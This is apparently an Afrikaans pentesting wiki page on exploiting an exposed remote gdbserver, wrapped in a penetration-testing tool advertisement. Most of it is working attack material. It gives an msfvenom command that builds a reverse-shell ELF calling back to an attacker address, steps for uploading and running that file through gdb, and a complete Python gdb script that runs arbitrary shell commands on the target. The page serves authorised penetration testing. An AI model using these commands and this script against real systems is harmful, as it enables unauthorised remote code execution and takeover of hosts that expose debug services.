Pentesting Remote GdbServer

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Onmiddellik beskikbare opset vir kwetsbaarheidsassessering en penetrasietoetsing. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en funksies wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, skulpe te kraak en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Basiese Inligting

gdbserver is 'n hulpmiddel wat die afstandsondersteuning van programme moontlik maak. Dit loop saam met die program wat foutopsporing benodig op dieselfde stelsel, bekend as die "teiken." Hierdie opset maak dit vir die GNU Debugger moontlik om vanaf 'n ander masjien, die "gasheer," waar die bronkode en 'n binêre kopie van die foutopgespoorde program gestoor word, te verbind. Die verbinding tussen gdbserver en die foutopspoorprogram kan oor TCP of 'n seriële lyn gemaak word, wat veelsydige foutopsporingsopsette moontlik maak.

Jy kan 'n gdbserver laat luister op enige poort en op hierdie oomblik is nmap nie in staat om die diens te herken nie.

Uitbuiting

Oplaai en Uitvoer

Jy kan maklik 'n elf agterdeur met msfvenom skep, dit oplaai en uitvoer:

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

Voer willekeurige opdragte uit

Daar is 'n ander manier om die aflynontleder willekeurige opdragte te laat uitvoer deur middel van 'n python-aangepaste skrip wat hier vandaan geneem is.

# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls

Eerst en voorsit skep plaaslik hierdie skrip:

{% code title="remote-cmd.py" %}

#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()

{% endcode %}

Onmiddellik beskikbare opset vir kwesbaarheidsassessering en penetrasietoetsing. Voer 'n volledige penetrasietoets uit van enige plek met 20+ gereedskap en funksies wat strek van rekognisering tot verslagdoening. Ons vervang nie penetrasietoetsers nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle tyd te gee om dieper te graaf, skulpe te kraak en pret te hê.